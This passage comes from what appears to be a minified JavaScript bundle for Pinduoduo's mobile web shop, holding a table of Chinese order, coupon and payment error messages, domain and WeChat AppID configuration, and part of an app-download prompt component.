""商家券和多件优惠活动不能同时使用"", + 44072: ""分享码已过期"", + 44073: ""免拼卡不足"", + 44076: ""不符合免拼卡的使用条件"", + 44090: ""商品活动未开始"", + 44091: ""商品活动已结束"", + 44092: ""商品活动不存在"", + 44093: ""活动商品已售罄"", + 44095: ""商品活动已结束"", + 44096: ""商品活动不存在"", + 44097: ""您购买的该活动商品数量已达上限"", + 44098: ""商品订单已创建"", + 44099: ""商品活动有误"", + 44100: ""您未获取抢购资格,不可购买该商品"", + 44200: ""已达红包使用数量上限"", + 44201: ""每满{0}元可用{1}个红包"", + 45001: ""订单不存在"", + 45002: ""订单不属于该用户"", + 45003: ""订单不能取消"", + 45004: ""订单商品不一致"", + 45005: ""订单已经收货"", + 45006: ""订单还未发货"", + 45007: ""海淘订单没有提交身份证"", + 45008: ""订单已支付"", + 45009: ""支付繁忙,请重试"", + 45010: ""订单正在支付中"", + 45012: ""手机充值号码为空"", + 45013: ""手机充值号码不支持"", + 45014: ""手机充值商品不存在"", + 45015: ""确认收货失败"", + 45023: ""正在处理您的退款/售后申诉,无法主动确认收货"", + 45026: ""超过购买商品限制"", + 45030: ""订单正在处理中,请刷新页面"", + 45031: ""单次购买金额不得高于9.5万元"", + 45033: ""超过每个手机号码购买次数限制"", + 45034: ""抱歉,秒杀尚未开始,请稍候"", + 45035: ""该商品为App新人专享秒杀,非首次下载App24小时内的用户无法发起拼单"", + 45036: ""每名用户只能购买一次哦"", + 45037: ""你的当前登录帐号有些风险哦,建议先直接去充值吧"", + 45038: ""包月套餐订单购买免密校验失败"", + 45039: ""包月套餐功能升级中,当前只支持微信帐号登录的用户哦"", + 45040: ""限购商品暂时无法购买哦~"", + 45041: ""本次活动期间已抢到过一张神券,不能再抢了~"", + 45042: ""手机网络繁忙,请稍后再试"", + 45043: ""该类型商品本次活动期间您已抢过,不能再抢了~"", + 45044: ""您好,该商品仅可购买一次哦~"", + 45045: ""该商品仅能在拼多多App中购买!"", + 45046: ""该商品仅允许微信登录用户购买!"", + 45047: ""超过该商品每次购买件数限制"", + 45050: ""您已经在本场下过单了,去看看其他商品吧~"", + 45051: ""已购买过此类优惠商品,看看其他商品吧"", + 45052: ""您最近购买此商品次数达到上限,去看看其他商品吧~"", + 45053: ""手机网络繁忙,请稍后再试"", + 45054: ""需验证码校验!"", + 45055: ""手机网络繁忙,请稍后再试"", + 45104: ""不是定金类型订单"", + 45105: ""订单已取消"", + 45106: ""订单已确认"", + 45107: ""定金未成团"", + 45206: ""创建订单存在风险"", + 45207: ""创建订单验证码非法"", + 45208: ""价格有变动,请返回上一页查看"", + 45209: ""请更换支付方式,花呗分期暂不可用"", + 45210: ""手机网络繁忙,请稍后再试"", + 45301: ""店铺补差价金额达到上限!"", + 45320: ""未获取活动资格!"", + 45321: ""该活动必须是微信APP用户参加!"", + 45322: ""该活动同一用户不可重复参加!"", + 45323: ""该活动同一设备不可重复参加!"", + 45324: ""该活动用户微信置信度较低!"", + 45325: ""非APP新用户"", + 45326: ""手机网络繁忙,请稍后再试"", + 45327: ""账户存在风险,无法下单"", + 45402: ""该商品秒杀活动已结束"", + 45403: ""该商品免单活动已结束"", + 45404: ""该商品买二送一活动已结束"", + 45405: ""该商品秒杀活动已结束"", + 45406: ""该活动已结束"", + 45407: ""该活动已结束"", + 45110: ""未到尾款支付时间"", + 45111: ""超过尾款支付时间"", + 45112: ""未到定金支付时间"", + 45113: ""超过定金支付时间"", + 45412: ""该商品多件优惠活动已结束"", + 45413: ""该商品限时免单活动已结"", + 45416: ""该商品优惠活动已结束"", + 45417: ""该活动已结束"", + 45418: ""该优惠商品已被抢空"", + 45420: ""该活动已结束"", + 45422: ""该活动已结束"", + 45423: ""该活动已结束"", + 45424: ""该包月活动已结束"", + 45425: ""您向商家补的差价已经超过上限"", + 45428: ""该商品属于活动商品,无法正常购买"", + 45429: ""该地区暂时无货"", + 45450: ""此海淘商品仅支持微信支付"", + 45500: ""商品信息和充值号码不匹配"", + 45501: ""新地址暂不支持,请重新选择"", + 45511: ""您不是专属用户,不能以特惠价开团哦~"", + 45514: ""库存不足"", + 45515: ""低于最低起售件数"", + 45516: ""该商品有更低价的优惠活动,请刷新购买"", + 46001: ""团订单不存在"", + 46002: ""无法重复参团"", + 46012: ""商品售罄,免拼失败,拼单到期后将退款"", + 46013: ""秒杀活动结束,免拼失败,拼单到期后将退款"", + 46014: ""插队拼单已满"", + 47003: ""限量件数已被抢光,请重新选购"", + 47101: ""支付失败,限时折扣活动已结束"", + 47102: ""支付失败,限量折扣活动已结束,请重新购买"", + 47010: ""折扣活动检查失败"", + 47011: ""限时折扣活动已经使用"", + 47012: ""限时折扣活动未开启"", + 47013: ""限时折扣活动未到开始时间"", + 47014: ""限时折扣活动已经结束"", + 47015: ""商家券和限时折扣活动不能同时使用"", + 47030: ""已经催过了,正在尽快发货"", + 47031: ""催发货请求异常,请稍后重试"", + 48001: ""图片格式错误"", + 48002: ""图片大小超过限制"", + 49001: ""商品不存在"", + 50000: ""当前访问人数较多,请稍后再试"", + 50001: ""今天票数已用完,明天再来吧"", + 50002: ""当前有未完成的团"", + 80001: ""投票活动已结束"", + 60000: """", + 60001: ""该团已经结束"", + 60002: ""确认收货失败"", + 60003: ""参数错误"", + 60004: ""您已退款成功,无须确认收货"", + 60005: ""用户拒绝"", + 60006: ""用户取消"", + 60007: ""确认收货失败,请稍后重试"", + 60100: ""未安装微信客户端"", + 60110: ""未安装微博客户端"", + 60120: ""未安装手机QQ"", + 60200: ""录制失败"", + 60201: ""录音没有权限"", + 60205: ""录音时间过短"", + 60210: ""上传失败"", + 60220: ""播放失败"", + 71001: ""获取售后列表失败"", + 71002: ""申请售后失败"", + 71003: ""获取售后单详情失败"", + 71004: ""售后单添加售后信息失败"", + 71005: ""售后单修改失败"", + 71006: ""撤销售后失败"", + 71007: ""售后单用户确认发货失败"", + 71008: ""售后单重新申请失败"", + 71009: ""售后单申请平台介入失败"", + 71010: ""钱款去向查询失败"", + 71011: ""留言标记失败"", + 71012: ""售后用户待处理未读数量获取失败"", + 71013: ""售后未读留言数目获取失败"", + 71014: ""获取付款类型失败"", + 71015: ""获取售后原因失败"", + 71016: ""获取我要发货列表失败"", + 71017: ""获取是否使用平台优惠券失败"", + 71018: ""售后单用户确认完成失败"", + 71019: ""获取小额打款详情失败"", + 71020: ""填写账户信息失败"", + 450130: ""商品信息和充值号码不匹配"", + 450131: ""该商品每个号码每月限充一次"", + 530001: ""团不存在"", + 530002: ""团已失效"", + 530003: ""团已满"", + 530004: ""助力单不存在"", + 530005: ""不支持该支付方式"", + 530006: ""助力单已支付"", + 530007: ""助力单已退款"", + 530008: ""不在活动时间"", + 530009: ""您已经拿过该商品了,不要贪心哦"", + 530010: ""已达到今日帮忙付款次数上限,明日再来吧"", + 530011: ""已达到今日帮助该好友次数上限,明日再来吧~"", + 530012: ""已经达到帮助该好友支付次数上限,赶紧去帮助其他人吧~"", + 530013: ""不符合免费帮忙条件"", + 530014: ""您不是拼多多App新人,不能开团哦"", + 144073: ""您没有免拼卡,请返回重新下单"", + 144076: ""不符合免拼卡的使用条件"", + 144078: ""请求失败,请重新发起支付"", + 152001: ""限量折扣活动已经使用"", + 152002: ""限量折扣活动未开启"", + 152003: ""限量折扣活动未到开始时间"", + 152004: ""限量折扣活动已经结束"", + 152005: ""商家券和限量折扣活动不能同时使用"", + 152006: ""限量件数已被抢光,请重新选购"", + 152010: ""已达到该商品活动期内的最多购买件数,不能再抢了~"", + 3000001: ""充值失败,请稍后重试"", + 3000002: ""话费充值失败,请稍后重试"", + 3000003: ""话费充值下单失败,请稍后重试"", + 400001: ""微信零钱不足,且未绑定银行卡,请绑定银行卡再试,或邀请好友代付"", + 400002: ""银行卡余额不足,请绑定其他银行卡再试,或邀请好友代付"", + 400003: ""银行卡预留手机号不符,请核对后再试,或邀请好友代付"", + 400004: ""银行卡已失效,请核对后再试,或邀请好友代付"", + 400005: ""银行拒绝交易,请核对后再试,或邀请好友代付"", + 400099: ""支付未完成,请更换支付方式"", + 4000004: ""手机网络繁忙,请稍后再试"", + 4000005: ""手机网络繁忙,请稍后再试"", + 4000006: """", + 20504101: ""团订单不存在"", + 20504005: ""手机网络繁忙,请稍后再试"", + 12960005: ""商品不存在"", + 12960006: ""活动未开始"", + 12960007: ""商品已售罄"", + 12960008: ""拼单人数已满"", + 12960009: ""只有App新人才能参团哦"", + 12960010: ""帐号信息异常"", + 12960012: ""该商品一次只能购买1件哦"", + 12960014: ""请使用微信登录再下单"", + 12960016: ""你已经开过团了,请勿重复开团"", + 12960017: ""今日开团次数已用完,明天再来吧"", + 12960018: ""今日参团次数已用完,明天再来吧"", + 12960019: ""该商品你今日已经参过团了"" + }), + s = { + AuthenticationFailed: o[40001], + APIServiceBusy: o[40002], + GraphicalCodeForPhoneCode: o[40017], + LoginFailed: o[40020], + NeedAuthenticationLogin: o[43058], + ItemRemoved: o[41002], + OutOfStock: o[41003], + NotInLuckyTime: o[41005], + AddressUnreachable: o[41006], + NoCouponLeft: o[44010], + CouponTaken: o[44011], + CouponTakeFailed: o[44012], + CouponTakenOut: o[44026], + PersonalInfoNoID: o[45007], + OrderPayed: o[45008], + NeedVerfication: o[45054], + GroupInvalid: o[46001], + GroupFailed: o[42003], + OverBuyLimit: o[42004], + GroupOverflow: o[42005], + GroupAutoOpenFailed: o[42006], + GroupAutoOpenSuccess: o[42007], + IDCardEmpty: o[43004], + NoNameIDBefore: o[43006], + IDCardFake: o[43008], + IDCardFailTooMuch: o[43009], + InsufficientCoupon: o[44047], + AvailableCouponsPerUnit: o[44201], + NoSuchOrder: o[45001], + PrepayBusy: o[45009], + OrderPaying: o[45010], + PaymentDisabled: o[45210], + SpikeComing: o[45034], + OrderPayRisk: o[45206], + OrderPayVerificationInvalid: o[45207], + OrderAlreadyUrged: o[47030], + OrderUrgeError: o[47031], + NativeNormalError: o[6e4], + NativeParamsError: o[60003], + NativeUserRefuse: o[60005], + NativeUserCancel: o[60006], + NativeAudioRecordFailed: o[60200], + NativeAudioRecordUndetermined: o[60201], + NativeAudioTooShort: o[60205], + NativeAudioUploadFailed: o[60210], + NativeAudioPlayFailed: o[60220], + SuccessiveMobileFeeOnlyOnce: o[45036], + SuccessiveMobileFeeRisk: o[45037], + SuccessiveMobileFeeUnsigned: o[45038], + SuccessiveMobileFeeOnlyWechat: o[45039], + OverBuyVirtualGoodsLimit: o[45033], + AvailableActivityChanged: o[45516], + GroupCompleted: o[42001], + InvalidAddress: o[43002], + CouponDailyLimit: o[44037], + CouponBatchLimit: o[44038], + CouponTokenInvalid: o[44041], + CouponTokenExpired: o[44042], + CouponPushNotIn: o[44043], + CouponActivityAbsent: o[44044], + MultiplyDiscountPause: o[44064], + MultiplyDiscountEnd: o[44066], + CouponMaxNumReached: o[44200], + HistoryGroupOpenFailed: o[46014], + GoodsNotExist: o[49001], + NativePaymentCancel: o[60006], + WithoutWeChatClient: o[60100], + QQPayFailed: o[60120], + OrderLimitedSalesEnd: o[152004], + OrderLimitedSalesOut: o[152006], + PayLimitedSalesEnd: o[47102], + PayLimitedSalesOut: o[47003], + ServerBusy: o[4000004], + OrderSpikeMsgError: o[4000006], + WxDirectPayWxBalanceError: o[400001], + WxDirectPayCardBalanceError: o[400002], + WxDirectPayTelephoneError: o[400003], + WxDirectPayCardInvalidError: o[400004], + WxDirectPayRefusedError: o[400005], + WxDirectPayUnknownError: o[400099], + ACT_GROUP_NOT_EXISTS: o[530001], + ACT_GROUP_FAILED: o[530002], + ACT_GROUP_SUCCESS: o[530003], + ACT_RECORD_NOT_EXISTS: o[530004], + PAY_CHANNEL_NOT_SUPPORT: o[530005], + ACT_RECORD_PAID: o[530006], + ACT_RECORD_REFUND: o[530007], + ASSIST_FOR_ONE_DAILY_LIMIT: o[530011], + ASSIST_FOR_ONE_LIMIT: o[530012], + getMsgFromCode: function(e) { + var t = o[e]; + return t ? t.message : """" + } + }, + c = n(""cDf5""), + u = n.n(c), + l = n(""MVZn""), + p = n.n(l), + d = {}, + h = ""https://th.yangkeduo.com/t.gif"", + f = { + perf: ""https://tp.yangkeduo.com/p.gif"", + error: ""https://te.yangkeduo.com/e.gif"", + chat_error: ""https://te.yangkeduo.com/e.gif"", + real_error: ""https://tne.yangkeduo.com/tne.gif"", + ad: ""https://ta.yangkeduo.com/t.gif"", + tracking: ""https://tldas.yangkeduo.com/e.gif"" + }, + m = { + shop: { + shopID: 2, + name: ""拼多多"", + logo: ""https://pinduoduoimg.yangkeduo.com/base/logo.jpg"", + weChatTimelineShareDisabled: !1, + qqTimelineShareDisabled: !0 + }, + loggingURL: h, + httpsLoggingURL: h, + wxAppLoggingURL: ""https://wxapp.yangkeduo.com/t.gif"", + qqAppLoggingURL: ""https://wxapp.yangkeduo.com/qqt.gif"", + logRoutes: p()({ + download: ""https://at.pinduoduo.com/p"" + }, f), + httpsLogRoutes: p()({}, f), + cmtURL: ""http://cmta.yangkeduo.com/api/ajax"", + httpsCmtURL: ""https://cmta.yangkeduo.com/api/ajax"", + pushDomain: ""ws://push.yangkeduo.com/"", + chatDomain: ""ws://ws.yangkeduo.com/"", + wssDomain: ""wss://ws.pinduoduo.com/"", + fileDomain: ""http://file.yangkeduo.com/"", + httpsFileDomain: ""https://file.yangkeduo.com/"", + qqFollowTip: ""感谢关注拼多多"", + AppID: { + FriendPay: -1, + WeChat: 2, + WeChatWAPPay: 20, + SMS: 5, + AliPay: 6, + QQ: 12, + Weibo: 11, + AliPayWeb: 9, + QQConnect: 13, + QQPublicOld: 27, + QQPublic: 30, + ApplePay: 31, + AliPayDirectDebit: 35, + WeChatH5Pay: 38, + HBInstallmentPay: 52, + UnionPay: 78, + UnionPayWeb: 79 + }, + ApiKey: { + WeChat: ""wx839691cce7c102bb"", + Weibo: ""3907421985"", + QQConnect: ""101273489"", + QQPublicOld: ""200633114"", + QQPublic: ""200675334"", + QQUIN: ""1419183687"", + QQPublicTrack: ""10000096"", + QQPublicMid: ""1316857601"", + BaiduStatistics: ""865a6952adbb55a10d86810cdcc6864a"" + }, + RedirectURI: { + AliPayDirectDebit: ""pinduoduoalipays://"", + Weibo: ""http://mobile.yangkeduo.com/wboauth_callback.html"", + QQConnect: ""http://mobile.yangkeduo.com/qqoauth_callback.html"" + }, + imgShareDomain: ""http://m.pin3pin.com/"", + ContactUrl: ""http://mp.weixin.qq.com/s?__biz=MzIxNzA1NDEyNQ==&mid=649170962&idx=1&sn=8763710a673d7b76f418a7ae76cff86c#rd"", + ForceContactUrl: ""http://mp.weixin.qq.com/s?__biz=MzIxNzA1NDEyNQ==&mid=649170998&idx=1&sn=684606e474788e7f191f6f6c68d0dfe4#rd"", + QQContactUrl: ""http://post.mp.qq.com/material/show/31343139313833363837-1472733830-1464276288782813-0.html?_wv=2281701505&v=3&sig=73182fcdc7ed1c0b6aeb3ce78501d00b&_bid=2321"", + thirdLevelLoginPath: ""jkr_report.html"" + }, + g = { + hutaojie: 1, + mobile: 2, + weipin: 3, + app: 4, + huabei: 17, + xibei: 18, + dongbei: 19, + huazhong: 21, + huadong: 22, + dongnan: 23, + xinan: 24, + panduoduo: 25, + sc: 26, + hybrid: ""hybrid"", + hybridTest: ""hybridTest"", + huanan: 40, + hzsc: 41, + dnsc: 42, + dbsc: 43, + xbsc: 44, + xnsc: 45, + hnsc: 46, + hbsc: 47, + pddpt: 48, + m: 49, + mm: 66, + mQQ275: 67, + myqxgs: 68, + ppolosa: 69, + dbncyr2: 70, + wuaijd: 71, + mobpinduoduo: 72, + mmpinduoduo: 73, + njjjsa: 74, + m2gj234g: 75, + cbasnd: 76, + pmoremore: 77, + dasihjf: 78, + iyrejug: 79, + imfghngg: 80, + moremorep: 81 + }, + v = ""http://fw.yangkeduo.com/"", + _ = ""https://mobile.yangkeduo.com/""; + d[g.hutaojie] = {}, + d[g.mobile] = { + domain: ""https://mobile.yangkeduo.com/"", + BeiTaiShareDomains: [""http://mobile.pinduoduo.net/""] + }, + d[g.weipin] = { + domain: ""https://weipin.yangkeduo.com/"", + AppID: { + WeChat: g.weipin + }, + ApiKey: { + WeChat: ""wx51e5fe8c95f71b20"" + } + }, + d[g.huabei] = { + domain: ""https://huabei.yangkeduo.com/"", + AppID: { + WeChat: g.huabei + }, + ApiKey: { + WeChat: ""wx4044e9709b7188ea"" + } + }, + d[g.xibei] = { + domain: ""https://xibei.yangkeduo.com/"", + AppID: { + WeChat: g.xibei + }, + ApiKey: { + WeChat: ""wxbc80866520cc300d"" + } + }, + d[g.dongbei] = { + domain: ""https://dongbei.yangkeduo.com/"", + AppID: { + WeChat: g.dongbei + }, + ApiKey: { + WeChat: ""wx27901e8ab752ed35"" + } + }, + d[g.huazhong] = { + domain: ""https://huazhong.yangkeduo.com/"", + AppID: { + WeChat: g.huazhong + }, + ApiKey: { + WeChat: ""wx95c952f67a727090"" + } + }, + d[g.huadong] = { + domain: ""https://huadong.yangkeduo.com/"", + AppID: { + WeChat: g.huadong + }, + ApiKey: { + WeChat: ""wx03908118b84f285a"" + } + }, + d[g.dongnan] = { + domain: ""https://dongnan.yangkeduo.com/"", + AppID: { + WeChat: g.dongnan + }, + ApiKey: { + WeChat: ""wxff2e8dc2762c5b92"" + } + }, + d[g.xinan] = { + domain: ""https://xinan.yangkeduo.com/"", + AppID: { + WeChat: g.xinan + }, + ApiKey: { + WeChat: ""wx20392b0342c8af91"" + } + }, + d[g.panduoduo] = {}, + d[g.sc] = { + domain: ""https://sc.yangkeduo.com/"", + AppID: { + WeChat: g.sc + }, + ApiKey: { + WeChat: ""wx32b0d9cdd390ebf0"" + } + }, + d[g.app] = { + domain: ""https://app.yangkeduo.com/"", + AppID: { + WeChat: 4 + }, + ApiKey: { + WeChat: ""wx77d53b84434b9d9a"" + } + }, + d[g.hybrid] = { + shareDomain: ""https://mobile.yangkeduo.com/"", + AppID: { + WeChat: 4 + }, + ApiKey: { + WeChat: ""wx77d53b84434b9d9a"" + } + }, + d[g.hybridTest] = {}; + var b = ""http://mp.weixin.qq.com/s?__biz=MzAxMjcyMTkwOA==&mid=401487202&idx=1&sn=37de9db39432edc32e1eb90d885d7a23#rd""; + + function y(e, t, n) { + n && (n.apiV2 && !t.apiDomain && (t.apiDomain = n.apiV2), + n.apiV2 && !t.apiDomainNew && (t.apiDomainNew = n.apiV2), + n.apiV3 && !t.apiDomainV3 && (t.apiDomainV3 = n.apiV3)); + var r = t.domain || t.shareDomain || v; + for (var a in t.shareDomain || (t.shareDomain = r), + t.shareDomains = {}, + e) + if (e.hasOwnProperty(a)) { + var i = e[a]; + [e.QQChatSession, e.QQZone].indexOf(i) >= 0 ? t.domain && t.domain.indexOf(""m.hutaojie.com"") >= 0 ? t.shareDomains[i] = t.shareDomain : t.shareDomains[i] = _ : t.shareDomains[i] = t.shareDomain + } + return function() { + for (var e = {}, t = 0; t < arguments.length; t++) + ""object"" === u()(arguments[t]) && w(e, arguments[t]); + return e + }(m, t) + } + + function w(e, t) { + for (var n in t) + if (t.hasOwnProperty(n)) { + var r = t[n], + a = u()(r); + ""number"" === a || ""string"" === a || ""boolean"" === a ? e[n] = r : ""object"" === a ? (e[n] = e[n] || {}, + w(e[n], r)) : S(r) && (e[n] = e[n] || [], + w(e[n], r)) + } + } + + function S(e) { + return ""[object Array]"" === Object.prototype.toString.call(e) + } + d[g.huanan] = { + shareDomain: ""https://huanan.yangkeduo.com/"", + AppID: { + WeChat: 40 + }, + ApiKey: { + WeChat: ""wxaffd94b821032481"" + }, + ContactUrl: b + }, + d[g.hzsc] = { + shareDomain: ""https://hzsc.yangkeduo.com/"", + AppID: { + WeChat: 41 + }, + ApiKey: { + WeChat: ""wx7bca1a27af0a31ed"" + }, + ContactUrl: b + }, + d[g.dnsc] = { + shareDomain: ""https://dnsc.yangkeduo.com/"", + AppID: { + WeChat: 42 + }, + ApiKey: { + WeChat: ""wxb79645ae502205d9"" + }, + ContactUrl: b + }, + d[g.dbsc] = { + shareDomain: ""https://dbsc.yangkeduo.com/"", + AppID: { + WeChat: 43 + }, + ApiKey: { + WeChat: ""wx01e7a1f91b8c43d3"" + }, + ContactUrl: b + }, + d[g.xbsc] = { + shareDomain: ""https://xbsc.yangkeduo.com"", + AppID: { + WeChat: 44 + }, + ApiKey: { + WeChat: ""wxc50a66d9b6d566ed"" + }, + ContactUrl: b + }, + d[g.xnsc] = { + shareDomain: ""https://xnsc.yangkeduo.com"", + AppID: { + WeChat: 45 + }, + ApiKey: { + WeChat: ""wx52457b6561fcd804"" + }, + ContactUrl: b + }, + d[g.hnsc] = { + shareDomain: ""https://hnsc.yangkeduo.com"", + AppID: { + WeChat: 46 + }, + ApiKey: { + WeChat: ""wx8e75952076e03567"" + }, + ContactUrl: b + }, + d[g.hbsc] = { + shareDomain: ""https://hbsc.yangkeduo.com"", + AppID: { + WeChat: 47 + }, + ApiKey: { + WeChat: ""wx7388833e69aafd89"" + }, + ContactUrl: b + }, + d[g.pddpt] = { + shareDomain: ""https://pddpt.yangkeduo.com"", + AppID: { + WeChat: 48 + }, + ApiKey: { + WeChat: ""wxe1b0f22089fadce1"" + }, + ContactUrl: b + }, + d[g.m] = { + domain: ""https://m.ishangtong.com"", + shareDomain: ""https://m.ishangtong.com"", + AppID: { + WeChat: 48 + }, + ApiKey: { + WeChat: ""wxe1b0f22089fadce1"" + }, + ContactUrl: b + }, + d[g.mm] = { + shareDomain: ""https://mm.ishangtong.com"", + AppID: { + WeChat: 66 + }, + ApiKey: { + WeChat: ""wxf05b577296a1b6ec"" + }, + ContactUrl: b + }, + d[g.mQQ275] = { + shareDomain: ""http://m.qq275.com"", + AppID: { + WeChat: 66 + }, + ApiKey: { + WeChat: ""wxf05b577296a1b6ec"" + }, + ContactUrl: b + }, + d[g.myqxgs] = { + domain: ""https://m.yiqixiegushi.com"", + shareDomain: ""https://m.yiqixiegushi.com"", + AppID: { + WeChat: 66 + }, + ApiKey: { + WeChat: ""wxf05b577296a1b6ec"" + }, + ContactUrl: b + }, + d[g.ppolosa] = { + shareDomain: ""https://m.ppolosa.com"", + AppID: { + WeChat: 53 + }, + ApiKey: { + WeChat: ""wx77dc7ecb31f8753f"" + }, + ContactUrl: b + }, + d[g.dbncyr2] = { + shareDomain: ""https://m.dbncyr2.com"", + AppID: { + WeChat: 54 + }, + ApiKey: { + WeChat: ""wxc554da0443f11df6"" + }, + ContactUrl: b + }, + d[g.wuaijd] = { + shareDomain: ""https://m.wuaijd.com"", + AppID: { + WeChat: 55 + }, + ApiKey: { + WeChat: ""wx3aaf0d6350efffdd"" + }, + ContactUrl: b + }, + d[g.mobpinduoduo] = { + shareDomain: ""https://mob.pinduoduo.com"", + AppID: { + WeChat: 56 + }, + ApiKey: { + WeChat: ""wx1e2715638762a51b"" + }, + ContactUrl: b + }, + d[g.mmpinduoduo] = { + shareDomain: ""https://mm.pinduoduo.com"", + AppID: { + WeChat: 57 + }, + ApiKey: { + WeChat: ""wxa19650a24138625a"" + }, + ContactUrl: b + }, + d[g.njjjsa] = { + shareDomain: ""https://m.njjjsa.com"", + AppID: { + WeChat: 58 + }, + ApiKey: { + WeChat: ""wx0860041d5083277f"" + }, + ContactUrl: b + }, + d[g.m2gj234g] = { + shareDomain: ""https://m.2gj234g.com"", + AppID: { + WeChat: 59 + }, + ApiKey: { + WeChat: ""wx866b03419b5b145d"" + }, + ContactUrl: b + }, + d[g.cbasnd] = { + shareDomain: ""https://m.cbasnd.com"", + AppID: { + WeChat: 60 + }, + ApiKey: { + WeChat: ""wxc0ac452b68b390c6"" + }, + ContactUrl: b + }, + d[g.moremorep] = { + shareDomain: ""https://m.moremorep.com"", + AppID: { + WeChat: 60 + }, + ApiKey: { + WeChat: ""wxc0ac452b68b390c6"" + }, + ContactUrl: b + }, + d[g.pmoremore] = { + shareDomain: ""https://m.pmoremore.com"", + AppID: { + WeChat: 61 + }, + ApiKey: { + WeChat: ""wx0912208ebefd2129"" + }, + ContactUrl: b + }, + d[g.dasihjf] = { + shareDomain: ""https://m.dasihjf.com"", + AppID: { + WeChat: 62 + }, + ApiKey: { + WeChat: ""wxead675b7b2738326"" + }, + ContactUrl: b + }, + d[g.iyrejug] = { + shareDomain: ""https://m.iyrejug.com"", + AppID: { + WeChat: 61 + }, + ApiKey: { + WeChat: ""wx0912208ebefd2129"" + }, + ContactUrl: b + }, + d[g.imfghngg] = { + shareDomain: ""https://m.imfghngg.com"", + AppID: { + WeChat: 56 + }, + ApiKey: { + WeChat: ""wx1e2715638762a51b"" + }, + ContactUrl: b + }; + var C = { + hutaojie: { + m: ""hutaojie"", + app: ""apptest"" + }, + yangkeduo: { + mobile: ""mobile"", + app: ""app"", + huabei: ""huabei"", + xibei: ""xibei"", + dongbei: ""dongbei"", + xinan: ""xinan"", + huazhong: ""huazhong"", + dongnan: ""dongnan"", + huadong: ""huadong"", + panduoduo: ""panduoduo"", + sc: ""sc"", + huanan: ""huanan"", + hzsc: ""hzsc"", + dnsc: ""dnsc"", + dbsc: ""dbsc"", + xbsc: ""xbsc"", + xnsc: ""xnsc"", + hnsc: ""hnsc"", + hbsc: ""hbsc"", + pddpt: ""pddpt"", + weipin: ""weipin"" + }, + ishangtong: { + m: ""m"", + mm: ""mm"" + }, + qq275: { + m: ""mQQ275"" + }, + yiqixiegushi: { + m: ""myqxgs"" + }, + ppolosa: { + m: ""ppolosa"" + }, + dbncyr2: { + m: ""dbncyr2"" + }, + wuaijd: { + m: ""wuaijd"" + }, + pinduoduo: { + mob: ""mobpinduoduo"", + mm: ""mmpinduoduo"" + }, + njjjsa: { + m: ""njjjsa"" + }, + ""2gj234g"": { + m: ""m2gj234g"" + }, + cbasnd: { + m: ""cbasnd"" + }, + pmoremore: { + m: ""pmoremore"" + }, + dasihjf: { + m: ""dasihjf"" + }, + iyrejug: { + m: ""iyrejug"" + }, + imfghngg: { + m: ""imfghngg"" + }, + moremorep: { + m: ""moremorep"" + } + }; + var A, I = function(e) { + var t, n = function(e) { + var t = { + hostName: e || """", + hasThirdLevelDomain: !1 + }; + if (!e) + return t.hostName = ""."", + t; + var n = [""m.ishangtong.com"", ""m.yiqixiegushi.com"", ""m.hutaojie.com""], + r = e.split("".""), + a = r.length; + if (a <= 3) + return t; + for (var i = r[a - 2], o = 0; o < n.length; o++) { + var s = n[o]; + if (s.indexOf(i) > 0) + return t.hostName = s, + t.hasThirdLevelDomain = !0, + t + } + return t + }((e = e || {}).hostName), + r = n.hostName || ""."", + a = r.split("".""); + if (e.isModuleVersion) { + var i = ""undefined"" != typeof window ? location.href.indexOf(""hutaojie"") >= 0 : r.indexOf(""hutaojie"") >= 0; + t = d[i ? g.hybridTest : g.hybrid] + } else + a.length >= 2 && C[a[1]] && (t = d[g[C[a[1]][a[0]]]]); + return t || (t = d[g.mobile]), + t.hasThirdLevelDomain = n.hasThirdLevelDomain || !1, + y(e.shareType, t, e.defaultApiDomains) + }, + k = { + defaultApiDomains: {} + }, + E = k.defaultApiDomains.apiV2, + T = k.defaultApiDomains.apiV3, + N = ""http://apiv5.yangkeduo.com/""; + ""undefined"" != typeof window && (E = ""http://apiv3.yangkeduo.com/"", + window.location && ""https:"" === window.location.protocol && (A = !0, + E = ""https://api.pinduoduo.com/"", + N = ""https://apiv5.yangkeduo.com/"")); + t.a = { + get: function(e, t) { + t || (t = ""undefined"" != typeof window && (window.navigator.userAgent || window.navigator.vendor || window.opera) || """"); + var n = I({ + isModuleVersion: !!t && !(!t.match(/phh_ios_version/i) && !t.match(/phh_android_version/i)), + hostName: e, + shareType: r, + defaultApiDomains: { + apiV2: E, + apiV3: T + } + }); + return n.api = a, + n.shareType = i.a.ShareType, + n.apiDomainV5 = N, (window.isUseHttps || A) && (n.apiDomain = n.apiHttpsDomain || ""https://api.pinduoduo.com/"", + n.chatDomain = n.wssDomain || n.chatDomain, + n.cmtURL = n.httpsCmtURL || n.cmtURL), + n + }, + constant: i.a, + error: s, + shareType: i.a.ShareType + } + }, + ""3yit"": function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e, t = this; + this.props.title && (e = f.a.createElement(""p"", { + className: ""title"" + }, this.props.title)); + var n = []; + return this.props.desc && this.props.desc.forEach(function(e, t) { + n.push(f.a.createElement(""p"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill app-bg-fill"" + }, f.a.createElement(""div"", { + id: ""confirm-app-download"", + className: ""confirm-app-download-v2"" + }, f.a.createElement(""div"", { + className: ""detail"" + }, e, n, f.a.createElement(""div"", { + className: ""buttons"" + }, f.a.createElement(""div"", { + className: ""cancel-button"", + onClick: function(e) { + t.clickCancel(e) + } + }, this.props.cancel), f.a.createElement(""div"", { + className: ""confirm-button"", + onClick: function(e) { + t.clickConfirm(e) + } + }, this.props.confirm))))) + } + }]), + t + }(n(""+zrp"").a); + m.defaultProps = { + desc: [""你还未安装拼多多App,是否前往拼多多App分享这个团?""], + confirm: ""前往安装"", + cancel: ""取消"" + }, + t.default = m + }, + ""41y+"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return w + }); + var r = n(""MVZn""), + a = n.n(r), + i = n(""QILm""), + o = n.n(i), + s = n(""q1tI""), + c = n.n(s), + u = n(""7xme""), + l = n(""i8i4""), + p = n.n(l), + d = n(""kMSe""), + h = n(""2vnA""), + f = 